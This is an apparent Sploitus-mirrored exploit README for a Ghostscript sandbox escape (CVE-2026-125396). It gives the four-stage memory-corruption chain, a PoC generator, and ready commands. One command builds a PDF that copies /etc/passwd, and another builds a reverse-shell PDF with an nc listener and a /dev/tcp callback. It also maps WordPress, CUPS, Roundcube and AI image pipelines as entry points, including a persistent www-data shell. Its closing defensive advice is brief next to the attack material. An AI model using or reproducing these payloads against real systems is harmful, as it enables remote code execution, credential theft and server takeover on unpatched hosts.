Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • November 22, 2026

# Upload2Shell — CVE-2026-125396 Ghostscript Sandbox Escape: Independent Reverse Engineering and Full Platform Reproducibility

**Ghostscript ⚠️** Disclaimer: This repository contains only vulnerability research and defensive analysis conducted within a **locally authorized environment**. All experiments were performed on dedicated hardware and within containers; no unauthorized targets were accessed. The provided PoCs are intended solely for reproducing and validating fixes to the vulnerabilities; they must not be used for unauthorized testing. ---

Ghostscript is a PostScript interpreter—**rendering files = executing programs within them**. The `-dSAFER` sandbox restricts such execution. CVE-2026-125396 exploits the sandbox via a four-stage chain:

① Error handler hijacks the privileged `.forceput` operator (leveraging protected dictionary writes in source code)

② Global dictionary holds references to local objects → save/restore → UAF

③ Heap spraying combined with marker scanning → creates fake string views → arbitrary read/write (self-localization, no address guessing)

④ Pointer chain traversal closes the memory-based sandbox switch path_control_active → `%pipe%` arbitrary command execution

| **Independent full pointer chain reverse engineering** | No reliance on original offsets; binary reverse engineering followed by iterative derivation using both Hex-Rays and objdump | | **Cross-platform zero-modification reproduction** | The same PostScript achieves full chain hits on both macOS arm64 and Debian x86-64 (8/8, 3/3)—the offset is set to the field offset of an LP64 structure, ensuring stability across architectures |

| **One-step RCE** | In practice, when `LockFilePermissions` is disabled by default in certain builds, clearing just one 4-byte flag suffices (the original author’s chain involves three steps) |

| **End-to-end WordPress attack** | Full setup of the test environment, four-gate model, and all real-world chokepoints documented (including constraints imposed by cross-verification of WP finfo content on payload shape) |

| Original PoC (UAF → memory write → hijacking of `mul` function pointer) | **5/5** on macOS arm64; **3/3** on Debian x86-64 |

| Full RCE sequence (clear → `%pipe%` → recovery → rejection) | All results as expected; proof of reversibility ✓ |

| Cross-platform (macOS arm64 / Debian x86-64) | Zero-modification offset applied; full chain hits on both platforms |

| Fixed negative control (10.08.0 / deb13u3) | Privilege write never executes; deadlock occurs at the first loop ✓ |

| WordPress 6.9.4 rendering pipeline | Command executed by **www-data (uid 33)** ✓ |

| WordPress shell rebinding (survives without gs parent process) | ✓ Interactive session reconnects, executing id/hostname/uname |

├── 01-Principles.md Full four-layer chain principle (each layer includes a code snippet)

├── 02-Analysis.md Key functions, Hex-Rays pseudocode, ring-by-ring deassembly evidence, analysis of %pipe% gate

├── 03-OffsetValues.md Complete offset table (10 rings), cross-platform principles, self-validation methods, version numbers vs vulnerability status tables

├── 04-DirectGS-Demo.md Command-line reproduction steps, conditional outputs, five-column matrix, pitfalls checklist

├── 05-WordPress-Takedown.md Four-gate model, target environment setup, three attack methods, bottleneck review, defensive recommendations

├── gen_poc.py ★ PoC generator (parameterized to produce all variants; see below)

├── poc-native-write.pdf Original PoC (static archive of memdemo variant generated by the generator)

├── probe-chain.ps Read-only probe: offset verifier + patch detector

├── probe-rce.ps Full RCE ladder (reversible)

├── wp-payload.pdf WordPress payload (clears everything → %pipe% marker)

├── wp-shell-gen.pdf Shell generation payload (generator output, verified for reconnection)

├── baseline.ps Valid baseline

└── run-matrix.sh Matrix execution script ## PoC Generator (poc/gen_poc.py)

No need for a file—a single command generates all variants on demand, handling PostScript string escaping, the dash/bash syntax difference in `/dev/tcp`, and differences in default values for target `LockFilePermissions`:

# 1. Probe (offset validation + patch detection; always run this first)

# 2. Native memory write demo (harmless: after changing mul→sub, it automatically recovers)

python3 poc/gen_poc.py memdemo -o poc-native-write.pdf

# 3. RCE: Default forensic marker (id/hostname/date → /var/tmp/GS_POC_MARKER.txt)

python3 poc/gen_poc.py rce -o pwn.pdf --cmd 'cat /etc/passwd > /tmp/exfil.txt'

# 5. RCE: Rebound shell (add --lock when targeting a release build and the probe indicates LOCK=1)

python3 poc/gen_poc.py rce -o shell.pdf --rev 127.0.0.1:4444 [--lock] [--restore]

The `--restore` option generates a reversible version (after execution, `path_control_active` is restored, making it useful for forensics). All variants have been verified against local gs versions 10.07.1 (positive) and 10.08.0 (negative).

All variants run with the same command (extension is arbitrary; gs only checks bytes):

gs -q -dSAFER -dNOPAUSE -dBATCH -sDEVICE=nullpage

### probe (Probe) — Always the first step

| `CHAIN_PRIMITIVE_OK` followed by a pointer chain printed on each loop iteration, plus `PATH_CONTROL_ACTIVE=1,0,0,0` | **Vulnerable version**: the link is usable; when `LOCK_FILE_PERMISSIONS=1`, remember to add `--lock` for rce |

| Same as above but with `LOCK=0,0,0,0` | Vulnerable version that can be exploited in one go (no need for `--lock`) |

| `Error: /undefined in --get--` (`GHOSTESCAPE_DANGLING`) | **Fixed** (includes release migration); privileged write not implemented, so process stops |

| `NO_OVERLAP` / `NO_ALIAS` | Heap injection failed (extremely rare); rerun once and then evaluate |

### memdemo (Harmless demo) — Suitable for reporting/screenshots

| `BEFORE=319 / HIJACKED=18 / RESTORED=319` | UAF → arbitrary writes possible: the C function pointer for `mul` was changed to `sub` (29×11→18), then restored |

| `NO_OVERLAP` | Injection failed; rerun |

python3 poc/gen_poc.py rce -o marker.pdf # Without --cmd/--rev

| `PIPE_EXEC_OK` followed by `/var/tmp/GS_POC_MARKER.txt` containing id/hostname/date | **RCE confirmed**: command executed as the gs process user |

| `PIPE_FAILED` / no marker | Blocked (check `--lock`: first run probe to see LOCK value) | | Add `--restore`: a trailing newline `PATH_CONTROL_RESTORED` | Post-incident sandbox flag restored (reversible mode) |

nc -lvnp 4444 # Target container/host must be able to reconnect to this address

python3 poc/gen_poc.py rce -o shell.pdf --rev:4444

Criteria: On the listener side, an interactive prompt such as `bash-3.2$` (or `www-data@host:~$`) appears, and commands can be executed. Note: For Debian-based systems, `/bin/sh` is dash; the generator automatically redirects `/dev/tcp` packets into `bash -c`. After GS rendering completes, it exits; the shell survives by using `nohup+&` to remain alive within its parent process. ### wp-payload (WordPress scenario)

Two triggering methods (see [05-wordpress.md](05-wordpress.md)):

1. **Media upload pipeline** (requires an author account; due to WP finfo’s cross-checking mechanism, pure PS impersonation with ≥6.9.x default settings will be rejected—requires site configuration allowing PDF+font fallback or permitted file extensions).

2. **Direct metadata pipeline trigger** (files already exist in media libraries/import scenarios): Execute `wp_generate_attachment_metadata()` by www-data inside the wp container.

Criteria: The file `/var/tmp/GS_WP_RCE_MARKER.txt` belongs to **www-data (uid 33)** = full RCE chain established at the actual web user privilege level. ### Fixed negative control

Any variant on **≥10.08.0 or patched versions** should fail identically:

`Error: /undefined in --get--` (`GHOSTESCAPE_DANGLING` lookup fails = privileged write never implemented). Failing to produce this fatal signature ≠ no fix; producing this signature = definitely fixed. ## Quick start

**Environment**: Any LP64 platform (x86-64 / arm64 verified) running Ghostscript 10.02.0–10.07.x (unpatched).

# Step 0: Probe (Verify offset and check if rollback has been applied)

gs -q -dSAFER -dNOPAUSE -dBATCH -sDEVICE=nullpage poc/probe-chain.ps

# PATH_CONTROL_ACTIVE=1,0,0,0 and pointer chain is consistent → Vulnerable version can proceed

# Error: /undefined (GHOSTESCAPE_DANGLING) → Rollback has already been applied; process halted.

# Step 1: Original PoC (Demonstration of memory write)

gs -q -dSAFER -dNOPAUSE -dBATCH -sDEVICE=nullpage poc/poc-native-write.pdf

# BEFORE=319 / HIJACKED=18 / RESTORED=319

# Step 2: Full RCE sequence (Reversible; write marker to /tmp)

gs -q -dSAFER -dNOPAUSE -dBATCH -sDEVICE=nullpage poc/probe-rce.ps

# TRY0 rejected → TRY1 executed → TRY2 restored but then rejected again

Detailed steps, loop outputs, and troubleshooting notes are available in [04-gs.md](04-gs.md). ## Impact Assessment

**Affected versions**: All upstream releases from 10.02.0 to 10.07.x; check rollback status for specific releases (Debian 12 remains vulnerable as of 2026-11; Debian 13 has been rolled back; Ubuntu patched after USN on 2026-10-21; RHEL versions unconfirmed). **Entry points (anywhere user files are passed to gs):** WordPress media preview, Roundcube attachment thumbnails (triggered when mail is opened), CUPS print queue (anonymous IPP), Paperless-ngx/Mayan EDMS document import, Gradio/A1111/ComfyUI image pipeline (Pillow→EPS→gs), locally opening malicious EPS files. **Breakpoints (check these three if gs is involved):** ImageMagick `policy.xml` disables PS/PDF coders; applications fail to pass files to rendering; file type validation rejects any tampered content. ## Defense recommendations

1. Upgrade Ghostscript to ≥ 10.08.0 and run a penetration test (test both embedded copies and self-compiled copies; version numbers can be misleading).

2. ImageMagick `policy.xml`: `` (same applies to PS/PS2/PS3/EPS/XPS).

3. WordPress ≥ 7.0.4 / 6.9.7; audit plugins that upload files to media libraries; disable automatic preview of untrusted files.

4. Enforce authentication on CUPS shared queues; grant rendering processes minimal privileges and isolate them via SELinux/AppArmor.

- pwn.ai original research: *How We Hacked the Pipes — Upload2Shell* (

- WordPress advisory: CVE-2026-65640 (core upload path; fixes available in 7.0.4 / 6.9.7)

- Ubuntu USN-8949-1 (2026-10-21), Debian DSA (2026-09-25)

- xkcd #2347 *Dependency* (ecological niche of ImageMagick/Ghostscript)

For educational and defensive research purposes only. The PoC addresses vulnerabilities that have been patched; unauthorized testing is prohibited.

The full story

This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.